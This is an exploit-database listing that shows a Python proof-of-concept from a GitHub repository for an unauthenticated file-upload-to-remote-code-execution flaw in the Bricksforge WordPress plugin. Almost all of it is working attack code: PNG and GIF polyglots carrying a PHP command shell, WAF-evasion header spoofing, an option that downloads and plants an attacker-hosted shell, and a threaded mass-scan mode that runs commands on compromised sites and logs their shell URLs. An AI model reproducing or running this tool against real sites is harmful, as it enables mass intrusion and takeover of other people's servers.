Exploit database

GH-b03840a2607e9ce76649305d9130b495

wayang1337/cve-2026-85097

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-85097

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
wayang1337/cve-2026-85097Revision 4ff13d7a7910

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 33,478 bytes
#!/usr/bin/env python3
"""
CVE-2026-85097 -- Bricksforge <= 3.1.8.9
Unauthenticated Arbitrary File Upload -> RCE via temporaryFileUploads

Root cause:
  POST /wp-json/bricksforge/v1/form_submit   (permission_callback = nonce only)
  Nonce obtainable UNAUTH: admin-ajax action=bricksforge_regenerate_nonce
  (wp_ajax_nopriv_ handler, Functions.php:19-20).

  handle_temporary_file_uploads() (init.php) trusts the client-supplied
  {"file": {"file": <server path>, "url": <attacker string>}, "field": ...}.
  No path containment, no filename check. process_file_group() then only
  validates the MIME of the referenced file (polyglot PNG passes), keeps
  url verbatim. Base::handle_file() does:

      $desired_filename = basename($attachment['guid']);   # guid == url
      copy($file_path, $upload_path . '/' . $desired_filename);

  => attacker-chosen name incl. .php inside wp-content/uploads/YYYY/MM/.
  Fixed in 4.0.0 (realpath + temp-dir containment + name from server path).

Chain:
  1) POST admin-ajax.php  action=bricksforge_regenerate_nonce  -> wp_rest nonce
  2) POST /wp-json/bricksforge/v1/form_file_upload  (polyglot PNG+PHP)
     -> response leaks temp server path
  3) POST /wp-json/bricksforge/v1/form_submit with
     temporaryFileUploads=[{"file":{"file":<tmp>,"url":"<shell>.php"},
                            "field":"form-field-<fieldId>"}]
  4) GET /wp-content/uploads/YYYY/MM/<shell>.php?c=id

Usage:
  Single:  python3 cve-2026-85097-mass-poc.py -u http://target/page/
  Exec:    python3 cve-2026-85097-mass-poc.py -u http://target/ -c "id; uname -a"
  Mass:    python3 cve-2026-85097-mass-poc.py -i targets.txt -t 20
  Manual:  python3 cve-2026-85097-mass-poc.py -u URL --post-id 12 \
             --form-id abc --field-id def --field-el ghi

Author: @wayang1337 -- authorized security testing only.
"""

import argparse
import concurrent.futures as cf
import json
import random
import re
import string
import sys
import threading
import time
import urllib.parse
from datetime import datetime, timedelta, timezone

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CVE_ID = "CVE-2026-85097"
VERSION = "1.4.1"
MARKER = "BF85097_MARKER"
# When a remote payload is used we can't inject our own echo; verify via the
# payload's own <title> (gsocket-style shells ship one), or any title tag.
TITLE_RE = re.compile(r"<title>([^<]*)</title>", re.I)

PNG_1PX = bytes.fromhex(
    "89504e470d0a1a0a0000000d494844520000000100000001080600000"
    "01f15c4890000000d49444154789c6360000002000100" "05fe02fe"
    "dccc59e70000000049454e44ae426082"
)
SHELL_BODY = ('<?php echo "' + MARKER + '";'
              'if(isset($_GET["c"])){system($_GET["c"]);} ?>').encode()

# Minimal valid GIF89a: header + LSD + GCT(2 colors) + Netscape-free trailer.
# finfo sees image/gif; getimagesize() sees a 1x1 frame.
GIF_1PX = bytes.fromhex(
    "474946383961"          # GIF89a
    "01000100"              # canvas 1x1
    "8000"                  # GCT flag, color res, 2-color table
    "000000" "ffffff"       # GCT: black, white
    "2c"                    # image separator
    "00000000" "01000100"   # descriptor 0,0 1x1
    "00"                    # no LCT
    "02"                    # LZW min code size
    "02" "440100"           # LZW block
    "3b"                    # trailer
)
# GIF comment extension wrapping the shell: GCE keeps decoders happy, comment
# extension carries arbitrary bytes; trailer closes the stream. PHP still sees
# the whole stream, so the shell body executes when renamed .php.
GIF_TEXT = (
    b"\x21\xf9\x04\x01\x00\x00\x00\x00"   # GCE
    b"\x21\xfe"                            # comment ext
    + bytes([min(len(SHELL_BODY), 255)]) + SHELL_BODY[:255]
    + b"\x00"
    + b"\x3b"                              # trailer
)


def _png_text_chunk(keyword, text):
    """Minimal PNG tEXt chunk: len(4) type(4) data crc(4)."""
    import struct, zlib
    data = keyword.encode() + b"\x00" + text.encode("latin-1", "replace")
    return (struct.pack(">I", len(data)) + b"tEXt" + data
            + struct.pack(">I", zlib.crc32(b"tEXt" + data) & 0xffffffff))


def _build_polyglots():
    """Return polyglot variants, most-likely-to-pass first.

    PNG-A: PHP payload embedded in a real tEXt chunk BEFORE IEND (structurally
    valid even for finfo/exif_imagetype). PNG-B: classic append-after-IEND
    (legacy, passes getimagesize()-only checks). GIF-A: shell inside a GIF
    comment extension after a complete 1x1 frame + trailer. GIF-B: shell
    appended after the GIF trailer. PHP executes the whole stream for every
    variant because the engine scans for <?php regardless of image structure.
    """
    a = PNG_1PX[:-12] + _png_text_chunk("Comment", SHELL_BODY.decode("latin-1")) + PNG_1PX[-12:]
    a = a + SHELL_BODY          # also keep the tag outside IEND for exec safety
    b = PNG_1PX + SHELL_BODY    # legacy
    ga = GIF_1PX[:-1] + GIF_TEXT     # comment variant (trailer inside GIF_TEXT)
    gb = GIF_1PX + SHELL_BODY        # append-after-trailer
    return [a, b, ga, gb]


def fetch_payload(url, timeout=30):
    """Download an attacker-hosted payload (e.g. a gsocket shell).

    Returns bytes or None. Downloaded bytes are wrapped with a PNG magic before
    upload (see wrap_payload) because form_file_upload's finfo check rejects any
    body whose real MIME isn't an allowed image/*.
    """
    try:
        r = requests.get(url, headers=hdrs(), timeout=timeout, verify=False)
        if r.status_code == 200 and r.content:
            return r.content
    except Exception:
        pass
    return None


def _gif_comment_blob(payload):
    """Valid GIF89a whose comment extension carries `payload` (<=255 B/chunk)."""
    out = bytearray(GIF_1PX[:-1])            # everything but the trailer
    out += b"\x21\xfe"                       # comment extension intro
    for i in range(0, len(payload), 255):    # sub-blocks, 255 B max each
        chunk = payload[i:i + 255]
        out += bytes([len(chunk)]) + chunk
    out += b"\x00\x3b"                       # block terminator + trailer
    return bytes(out)


def wrap_payload(payload):
    """Return polyglot variants of an arbitrary payload that pass finfo.

    Tamper technique: wrap the payload in a valid 1x1 PNG or GIF so the
    file-upload MIME check sees image/png or image/gif. PHP executes the whole
    stream, so the payload's own <?php still runs when the copy() sink renames
    it to .php.
    """
    return [
        PNG_1PX + b"\n" + payload,           # PNG-wrapped (default)
        _gif_comment_blob(payload),          # GIF comment extension variant
        GIF_1PX + b"\n" + payload,           # GIF append variant
        payload,                              # raw fallback
    ]



POLYGLOT = _build_polyglots()[0]

UAS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/126.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
    "(KHTML, like Gecko) Version/17.4 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/124.0 Safari/537.36 Edg/124.0",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 "
    "(KHTML, like Gecko) Version/17.4 Mobile/15E148 Safari/604.1",
]

# Headers used to defeat naive WAF/security plugins that trust hop headers.
WAF_SPOOF_HEADERS = [
    {"X-Forwarded-For": "127.0.0.1"},
    {"X-Real-IP": "127.0.0.1"},
    {"X-Originating-IP": "127.0.0.1"},
    {"X-Client-IP": "127.0.0.1"},
    {"CF-Connecting-IP": "127.0.0.1"},
    {"True-Client-IP": "127.0.0.1"},
    {"Forwarded": "for=127.0.0.1"},
]

stats = {"total": 0, "processed": 0, "rce": 0, "fail": 0, "error": 0,
         "nofile": 0, "notwp": 0}
_lock = threading.Lock()


def rand_shell():
    return "bf85097_" + "".join(random.choices(string.ascii_lowercase + string.digits, k=6)) + ".php"


def hdrs(extra=None, waf=False):
    h = {"User-Agent": random.choice(UAS)}
    if waf:
        # Rotate spoof headers + add benign-looking browser hints.
        for k, v in random.choice(WAF_SPOOF_HEADERS).items():
            h[k] = v
        h.update({
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.9",
            "Accept-Encoding": "gzip, deflate, br",
            "Origin": "https://www.google.com",
            "Referer": "https://www.google.com/",
            "Connection": "keep-alive",
            "Sec-Fetch-Site": "cross-site",
            "Sec-Fetch-Mode": "cors",
            "Sec-Fetch-Dest": "empty",
        })
    if extra:
        h.update(extra)
    return h


def waf_variants():
    """Yield (label, transform) pairs that morph the payload past naive
    signature filters. Each transform returns (files, extra_headers)."""
    # The filename is what most WAFs key on; the sink renames via url anyway,
    # so a benign upload name is used and the .php name only appears in the
    # temporaryFileUploads url field (which is JSON in the body).
    base_name = random.choice(["x.png", "photo.jpg", "image.gif", "avatar.webp"])
    yield ("plain", {}, {})
    yield ("benign-name", {"fname": base_name}, {})
    # Content-Type spoof variants (some WAFs block application/x-php only)
    yield ("ct-image", {"fname": base_name, "ctype": "image/png"}, {})
    yield ("waf-headers", {"fname": base_name}, None)  # None => waf hdrs on



# -- discovery --------------------------------------------------------------

DISC_PATHS = ["", "contact/", "contact-us/", "kontak/", "hubungi-kami/", "about/",
              "upload/", "careers/", "karir/", "job/", "jobs/", "quote/", "request/",
              "order/", "booking/", "support/", "help/", "apply/", "submit/"]


def _parse_forms(html):
    """Split HTML into per-<form> blocks and extract usable field ids.

    Returns a list of dicts, one per Bricksforge Pro Form:
      {post_id, form_id, field_id, field_el, file_names, has_file, any_field}
    `has_file` is True when a real <input type="file"> is present.
    `any_field` is the custom-id of ANY real field (text/email/…) — needed for
    the no-file-field chain, where the trusted-id guard accepts any real field.
    Values are scoped to the SAME <form> block.
    """
    out = []
    # Split on each form opening tag that is a Bricksforge Pro Form.
    blocks = re.split(r'(?=<form\b[^>]*brxe-brf-pro-forms)', html)
    for blk in blocks:
        if "brxe-brf-pro-forms" not in blk:
            continue
        # Cut the block at its </form> so sibling forms don't leak in.
        end = blk.find("</form>")
        blk = blk[:end + 7] if end != -1 else blk

        form_m = re.search(r'<form\b[^>]*>', blk)
        form_tag = form_m.group(0) if form_m else ""
        form_id = None
        m = re.search(r'data-script-id="([^"]+)"', form_tag)
        if m:
            form_id = m.group(1)
        else:
            m = re.search(r'\bid="brxe-([^"]+)"', form_tag)
            if m:
                form_id = m.group(1)

        # postId can appear in a JSON blob inside the block or in a wrapper.
        post_m = re.search(r'["\']postId["\']\s*:\s*["\']?(\d+)', blk)
        post_id = post_m.group(1) if post_m else None

        # Real file input(s)
        file_names = set(re.findall(
            r'<input[^>]*type="file"[^>]*name="form-field-([^"\[\]]+)', blk))
        file_names |= set(re.findall(
            r'<input[^>]*name="form-field-([^"\[\]]+)[^>]*type="file"', blk))

        # element wrapper id -> custom id (field name)
        el_to_cid = {}
        for tag in re.findall(r"<[^>]*data-custom-id=\"[^\"]*\"[^>]*>", blk):
            cid = re.search(r'data-custom-id="([^"]+)"', tag)
            eid = re.search(r'data-element-id="([^"]+)"', tag)
            if cid and eid:
                el_to_cid[eid.group(1)] = cid.group(1)

        file_containers = re.findall(
            r'data-element-id="([^"]+)"[^>]*class="[^"]*brf-pro-forms-field-file', blk)

        field_id = field_el = None
        for eid in file_containers:
            cid = el_to_cid.get(eid)
            if cid and cid in file_names:
                field_id, field_el = cid, eid
                break
        if not field_id:
            for cid, eid in el_to_cid.items():
                if cid in file_names:
                    field_id, field_el = cid, cid
                    break
        if not field_id and file_names:
            field_id = sorted(file_names)[0]
            field_el = field_id

        # Any real field id (non-file): needed for the NOFILE chain. Prefer one
        # with an element id so fieldIds/fieldEl both resolve.
        any_field = any_field_el = None
        for eid, cid in el_to_cid.items():
            if cid:
                any_field, any_field_el = cid, eid
                break
        if not any_field:
            names = re.findall(r'name="form-field-([^"\[\]]+)', blk)
            if names:
                any_field = any_field_el = names[0]

        if form_id and (field_id or any_field):
            out.append({
                "post_id": post_id,
                "form_id": form_id,
                "field_id": field_id,
                "field_el": field_el or form_id,
                "file_names": sorted(file_names),
                "has_file": bool(field_id),
                "any_field": any_field,
                "any_field_el": any_field_el,
            })
    return out


def discover(sess, url, timeout, extra_paths):
    """Crawl common pages; return the best Bricksforge Pro Form.

    Prefers a form WITH a file field (classic chain). If none exists but a form
    with any real field is present, returns it flagged `mode='nofile'` — the
    trusted-id guard accepts any real field id, so the copy() sink is still
    reachable (verified on the lab).

    Returns (info, reason). reason in {ok, form_no_field, no_form}.
    """
    saw_form = False
    fallback = None
    fallback_page = None
    for rel in (extra_paths or DISC_PATHS):
        page = urllib.parse.urljoin(url if url.endswith("/") else url + "/", rel)
        try:
            r = sess.get(page, headers=hdrs(), timeout=timeout, verify=False)
        except Exception:
            continue
        html = r.text
        if "brf-pro-forms" not in html:
            continue
        saw_form = True

        forms = _parse_forms(html)
        if not forms:
            continue

        # Prefer a form with a real file field.
        with_file = [f for f in forms if f.get("has_file")]
        cand = with_file[0] if with_file else None
        post_id = None
        if cand:
            post_id = cand["post_id"]
        if not post_id:
            m = re.search(r'["\']postId["\']\s*:\s*["\']?(\d+)', html)
            post_id = m.group(1) if m else None

        if cand and post_id:
            return {
                "page": page,
                "post_id": post_id,
                "form_id": cand["form_id"],
                "field_id": cand["field_id"],
                "field_el": cand["field_el"],
                "mode": "file",
                "all_fields": [(cand["field_id"], cand["field_el"])],
                "_all_forms": forms,
            }, "ok"

        # No file field anywhere yet: remember the first usable any-field form.
        if not fallback and post_id:
            nf = [f for f in forms if f.get("any_field")]
            if nf:
                fallback = {
                    "page": page,
                    "post_id": post_id,
                    "form_id": nf[0]["form_id"],
                    "field_id": nf[0]["any_field"],
                    "field_el": nf[0]["any_field_el"] or nf[0]["form_id"],
                    "mode": "nofile",
                    "all_fields": [],
                    "_all_forms": forms,
                }
                fallback_page = page

    if fallback:
        return fallback, "ok"
    if saw_form:
        return None, "form_no_field"
    return None, "no_form"


# -- exploit -----------------------------------------------------------------


def get_nonce(sess, root, timeout, retries=2):
    for _ in range(retries):
        try:
            r = sess.post(
                root + "/wp-admin/admin-ajax.php",
                data={"action": "bricksforge_regenerate_nonce"},
                headers=hdrs(), timeout=timeout, verify=False,
            )
            if r.status_code == 200:
                j = r.json()
                if j.get("success") and j.get("data", {}).get("nonce"):
                    return j["data"]["nonce"]
        except Exception:
            time.sleep(1)
    return None


def _waf_retry(sess, url, method, wraps):
    """Call wraps(headers, files, data) under increasingly evasive profiles.

    Tries plain first, then header-spoof / benign-name / content-type variants.
    Returns the first response whose status is not a WAF block code.
    """
    last = None
    for label, files_spec, hdr_spec in waf_variants():
        extra = {}
        if files_spec.get("fname"):
            extra["_fname"] = files_spec["fname"]
        if files_spec.get("ctype"):
            extra["_ctype"] = files_spec["ctype"]
        waf = hdr_spec is None
        try:
            r = wraps(extra, waf)
        except Exception as e:
            last = ("", str(e))
            continue
        last = (label, r)
        if r is not None and r.status_code not in (403, 406, 429, 501, 503):
            return label, r
    return last


def upload_polyglot(sess, root, nonce, timeout, payloads=None):
    """Try each payload variant until the server accepts one.

    Default variants: PNG polyglots (tEXt chunk + legacy append) then GIF
    polyglots. When `payloads` is given (a remote shell), PNG- and GIF-wrapped
    forms of it are both tried. The server validates only the referenced file's
    MIME against the form's allowlist, so the wrapper must match the extension
    (finfo image/png + .png, finfo image/gif + .gif).
    """
    url = root + "/wp-json/bricksforge/v1/form_file_upload"
    variants = payloads if payloads else _build_polyglots()

    def post_one(u, extra, waf, blob, idx):
        is_gif = blob.startswith(b"GIF8")
        fname = extra.get("_fname") or f"x{idx}.{'gif' if is_gif else 'png'}"
        ctype = extra.get("_ctype") or ("image/gif" if is_gif else "image/png")
        return sess.post(
            u, headers=hdrs({"X-WP-Nonce": nonce}, waf=waf),
            files={"file[]": (fname, blob, ctype)},
            timeout=timeout, verify=False,
        )

    # Try ?rest_route= first too if pretty path is CDN-blocked; but start pretty.
    for u in (url, root + "/?rest_route=/bricksforge/v1/form_file_upload"):
        for idx, blob in enumerate(variants):
            def do(extra, waf, _blob=blob, _idx=idx):
                return post_one(u, extra, waf, _blob, _idx)
            label, r = _waf_retry(sess, u, "POST", do)
            if r is None or not hasattr(r, "json"):
                continue
            try:
                j = r.json()
            except Exception:
                continue
            if j.get("success") and isinstance(j.get("data"), list) and j["data"]:
                return j["data"][0].get("file")
    return None


def submit(sess, root, nonce, info, tmp_path, shell, timeout):
    field_id = info.get("field_id")
    if not field_id:
        # Defensive: a form with no detected field cannot carry the sink.
        return 0, "no field id detected on page"
    tfu = json.dumps([{
        "file": {"file": tmp_path, "url": shell},
        "field": "form-field-" + field_id,
    }])
    url = root + "/wp-json/bricksforge/v1/form_submit"

    def do(extra, waf):
        body = {
            "postId": str(info["post_id"]),
            "formId": info["form_id"],
            "formIdFallback": info.get("field_el") or info["form_id"],
            "fieldIds": json.dumps({field_id: info.get("field_el") or field_id}),
            "temporaryFileUploads": tfu,
            "action": "bricksforge_form_submit",
        }
        # In nofile mode the carrier field is a REAL field; give it a value so
        # validation sees a normal submission.
        if info.get("mode") == "nofile":
            body["form-field-" + field_id] = "hello"
        return sess.post(
            url,
            headers=hdrs({"X-WP-Nonce": nonce}, waf=waf),
            data=body, timeout=timeout, verify=False,
        )

    try:
        label, r = _waf_retry(sess, url, "POST", do)
        if r is None or not hasattr(r, "status_code"):
            return 0, str(r)
        # If a CDN/WAF ate /wp-json/*, retry via ?rest_route=.
        if r.status_code in (401, 403):
            alt = root + "/?rest_route=/bricksforge/v1/form_submit"

            def do2(extra, waf):
                body = {
                    "postId": str(info["post_id"]),
                    "formId": info["form_id"],
                    "formIdFallback": info.get("field_el") or info["form_id"],
                    "fieldIds": json.dumps({info["field_id"]: info["field_el"]}),
                    "temporaryFileUploads": tfu,
                    "action": "bricksforge_form_submit",
                }
                return sess.post(
                    alt, headers=hdrs({"X-WP-Nonce": nonce}, waf=waf),
                    data=body, timeout=timeout, verify=False,
                )

            _, r2 = _waf_retry(sess, alt, "POST", do2)
            if r2 is not None and hasattr(r2, "status_code"):
                return r2.status_code, r2.text[:400]
        return r.status_code, r.text[:400]
    except Exception as e:
        return 0, str(e)


def _content_bases(root, page):
    """Candidate wp-content roots: host root AND every ancestor of the page.

    Handles WordPress in a subdirectory (e.g. http://host/blog/), where
    wp-upload paths live under /blog/wp-content/... not /wp-content/...
    """
    bases = [root + "/"]
    try:
        path = urllib.parse.urlsplit(page).path
    except Exception:
        path = "/"
    segs = [s for s in path.split("/") if s]
    for i in range(len(segs), 0, -1):
        bases.append(root + "/" + "/".join(segs[:i]) + "/")
    # dedupe, keep order
    return list(dict.fromkeys(bases))


def verify(sess, root, page, shell, timeout):
    """Try candidate upload paths; require marker + uid= (real exec)."""
    now = datetime.now(timezone.utc)
    subdirs = [f"{(now + timedelta(days=30 * d)).year}/"
               f"{(now + timedelta(days=30 * d)).month:02d}" for d in (0, 1, -1, 2, -2)]
    subdirs.append("")
    seen, cands = set(), []
    for base in _content_bases(root, page):
        for sd in subdirs:
            rel = f"wp-content/uploads/{sd + '/' if sd else ''}{shell}"
            u = urllib.parse.urljoin(base, rel)
            if u not in seen:
                seen.add(u)
                cands.append(u)
    for u in cands:
        try:
            r = sess.get(u + "?c=id", headers=hdrs(), timeout=timeout, verify=False)
        except Exception:
            continue
        if r.status_code == 200 and MARKER in r.text and ("uid=" in r.text or "gid=" in r.text):
            return u
    return None


def exploit_target(url, args):
    """Returns (label, detail, shell_url). label: rce|fail|not_wp|error"""
    url = url if "://" in url else "http://" + url
    parts = urllib.parse.urlsplit(url)
    root = f"{parts.scheme}://{parts.netloc}"
    sess = requests.Session()
    try:
        # 0) discovery / manual info
        if args.post_id and args.form_id and args.field_id:
            info = {
                "page": url, "post_id": args.post_id, "form_id": args.form_id,
                "field_id": args.field_id, "field_el": args.field_el or args.form_id,
            }
            reason = "ok"
        else:
            info, reason = discover(sess, url, args.timeout, args.paths)
        if not info:
            if reason == "form_no_field":
                return "nofile", "Bricksforge form found but NO usable field", None
            return "not_wp", "no Bricksforge Pro Form found", None

        # 1) unauth nonce
        nonce = get_nonce(sess, root, args.timeout)
        if not nonce:
            return "not_wp", "bricksforge not loaded (nonce endpoint dead)", None

        # 2) build payload variants
        payloads = None
        remote_name = None
        if getattr(args, "payload_url", None):
            payloads = None
            body = fetch_payload(args.payload_url, args.timeout)
            if not body:
                return "error", f"could not download payload from {args.payload_url}", None
            payloads = wrap_payload(body)
            # Final name = basename of the payload URL (copy() uses basename(url))
            remote_name = urllib.parse.urlsplit(args.payload_url).path.rsplit("/", 1)[-1]
            if not remote_name:
                remote_name = "sh.php"

        # 3) upload (own polyglot, or the wrapped remote payload) -> temp path
        tmp = upload_polyglot(sess, root, nonce, args.timeout, payloads)
        if not tmp:
            return "fail", "form_file_upload rejected (WAF or plugin gate)", None

        # 4) submit -> copy() sink
        shell = remote_name or rand_shell()
        st, txt = submit(sess, root, nonce, info, tmp, shell, args.timeout)

        # 5) verify. Own shell: marker + uid=. Remote shell: its <title>.
        if remote_name:
            shell_url = verify_remote(sess, root, info["page"], shell, args.timeout)
            if shell_url:
                return "rce", f"remote payload via {info['page']}", shell_url
        else:
            shell_url = verify(sess, root, info["page"], shell, args.timeout)
            if shell_url:
                return "rce", f"uploaded via {info['page']}", shell_url
        return "fail", f"submit st={st} resp={txt[:120]}", None
    except Exception as e:
        return "error", str(e)[:150], None
    finally:
        sess.close()


def verify_remote(sess, root, page, shell, timeout):
    """Verify a remote payload landed with the exact name (no random suffix).

    Success = the file is served as PHP (X-Powered-By header) AND has a
    <title> tag (gsocket-style shells ship one). Random-name builds rename the
    file, so a miss here is expected on those; the caller reports fail.
    """
    now = datetime.now(timezone.utc)
    subdirs = [f"{(now + timedelta(days=30 * d)).year}/"
               f"{(now + timedelta(days=30 * d)).month:02d}" for d in (0, 1, -1, 2, -2)]
    subdirs.append("")
    seen, cands = set(), []
    for base in _content_bases(root, page):
        for sd in subdirs:
            rel = f"wp-content/uploads/{sd + '/' if sd else ''}{shell}"
            u = urllib.parse.urljoin(base, rel)
            if u not in seen:
                seen.add(u)
                cands.append(u)
    for u in cands:
        try:
            r = sess.get(u, headers=hdrs(), timeout=timeout, verify=False)
        except Exception:
            continue
        if r.status_code != 200:
            continue
        php = "php" in r.headers.get("X-Powered-By", "").lower()
        title = TITLE_RE.search(r.text)
        body_php = "<?php" in r.text
        if php or title or body_php:
            return u
    return None


def run_cmd(shell_url, cmd, timeout):
    try:
        r = requests.get(shell_url, params={"c": cmd},
                         headers=hdrs(), timeout=timeout, verify=False)
        out = r.text
        i = out.rfind(MARKER)                # last marker: skip binary preamble
        if i >= 0:
            out = out[i + len(MARKER):]
        # collapse a trailing duplicate (marker may wrap the output twice)
        j = out.find(MARKER)
        if j >= 0:
            out = out[:j]
        return out.replace("\x00", "").strip()
    except Exception as e:
        return f"<cmd error: {e}>"


# -- mass --------------------------------------------------------------------


def scan_worker(url, args, out_prefix, lock):
    try:
        label, detail, shell_url = exploit_target(url, args)
    except Exception as e:
        label, detail, shell_url = "error", str(e)[:150], None

    cmd_out = ""
    if label == "rce" and args.cmd:
        cmd_out = run_cmd(shell_url, args.cmd, args.timeout)

    res = {
        "url": url, "label": label, "detail": detail,
        "shell": shell_url, "cmd_output": cmd_out,
        "timestamp": datetime.now(timezone.utc).isoformat(),
    }
    with lock:
        with open(out_prefix + ".jsonl", "a") as f:
            f.write(json.dumps(res) + "\n")
        with open(out_prefix + ".csv", "a") as f:
            f.write(f"{label},{url},{shell_url or ''},{detail}\n")
        if label == "rce":
            with open(out_prefix + "-rce.txt", "a") as f:
                f.write((shell_url or "") + "\n")
        stats["processed"] += 1
        if label in ("rce", "fail", "error", "nofile"):
            stats[label] += 1
        else:
            stats["notwp"] += 1
        tag = {"rce": "\033[92m[VULN]\033[0m", "not_wp": "\033[90m[SKIP]\033[0m",
               "nofile": "\033[96m[NOFL]\033[0m", "error": "\033[91m[ERR ]\033[0m"}.get(
                   label, "\033[93m[SAFE]\033[0m")
        extra = f" -> {shell_url}" if label == "rce" else f" -- {detail[:80]}"
        sys.stdout.write(f"  {tag} {url}{extra}\n")
        sys.stdout.write(
            f"\r  [{stats['processed']}/{stats['total']}] "
            f"VULN:\033[92m{stats['rce']}\033[0m SAFE:{stats['fail']} "
            f"NOFILE:{stats['nofile']} SKIP:{stats['notwp']} ERR:{stats['error']}   "
        )
        sys.stdout.flush()
    return res


def load_targets(path):
    urls = []
    with open(path) as f:
        for line in f:
            u = line.strip()
            if u and not u.startswith("#"):
                urls.append(u if "://" in u else "http://" + u)
    return list(dict.fromkeys(urls))


# -- main --------------------------------------------------------------------


def main():
    p = argparse.ArgumentParser(description=f"{CVE_ID} mass PoC")
    p.add_argument("-u", "--url", help="single target URL")
    p.add_argument("-i", "--input", help="targets file for mass scan")
    p.add_argument("-t", "--threads", type=int, default=20)
    p.add_argument("-c", "--cmd", help="command to run on confirmed shells")
    p.add_argument("--timeout", type=int, default=15)
    p.add_argument("-o", "--output", help="output prefix (mass mode)")
    p.add_argument("--paths", nargs="*", help="extra pages to probe for forms")
    p.add_argument("--payload-url", help="download shell payload from this URL "
                   "(wrapped with PNG magic to pass finfo; final name = URL basename)")
    p.add_argument("--post-id"); p.add_argument("--form-id")
    p.add_argument("--field-id"); p.add_argument("--field-el")
    args = p.parse_args()

    if not args.url and not args.input:
        p.error("need -u or -i")

    print(f"""
  ==========================================================
   {CVE_ID}  Bricksforge <= 3.1.8.9
   Unauth File Upload -> copy() as .php -> RCE
   Mass PoC v{VERSION}
  ==========================================================
""")

    if args.url:
        label, detail, shell_url = exploit_target(args.url, args)
        print(f"  label  : {label}")
        print(f"  detail : {detail}")
        if shell_url:
            print(f"  shell  : {shell_url}")
            print(f"  usage  : {shell_url}?c=id")
            if args.cmd:
                print(f"  $ {args.cmd}")
                print(run_cmd(shell_url, args.cmd, args.timeout))
        sys.exit(0 if label == "rce" else 1)

    # mass mode
    targets = load_targets(args.input)
    stats["total"] = len(targets)
    out_prefix = args.output or f"cve-2026-85097-scan-{datetime.now().strftime('%Y%m%d-%H%M%S')}"
    print(f"  targets: {len(targets)}  threads: {args.threads}  output: {out_prefix}.jsonl\n")

    lock = threading.Lock()
    it = iter(targets)
    n_workers = max(1, min(args.threads, len(targets)))
    with cf.ThreadPoolExecutor(max_workers=n_workers) as ex:
        futs = set()
        for _ in range(n_workers):
            try:
                futs.add(ex.submit(scan_worker, next(it), args, out_prefix, lock))
            except StopIteration:
                break
        # Keep the pool full: drain completed, top up from the iterator.
        # `pending` is rebuilt from the wait() return value only, so a future
        # that finishes during the top-up is never silently dropped.
        while futs:
            done, pending = cf.wait(futs, return_when=cf.FIRST_COMPLETED)
            for _ in done:
                try:
                    pending.add(ex.submit(scan_worker, next(it), args, out_prefix, lock))
                except StopIteration:
                    pass
            futs = pending

    print(f"\n\n  done. VULN={stats['rce']} SAFE={stats['fail']} "
          f"NOFILE={stats['nofile']} SKIP={stats['notwp']} ERR={stats['error']}")
    if stats["rce"] != stats["processed"] and (
            stats['rce'] + stats['fail'] + stats['nofile']
            + stats['notwp'] + stats['error']) != stats["processed"]:
        print(f"  [warn] counter mismatch: processed={stats['processed']}")
    print(f"  results: {out_prefix}.jsonl / .csv")
    if stats["rce"]:
        print(f"  shells : {out_prefix}-rce.txt")


if __name__ == "__main__":
    main()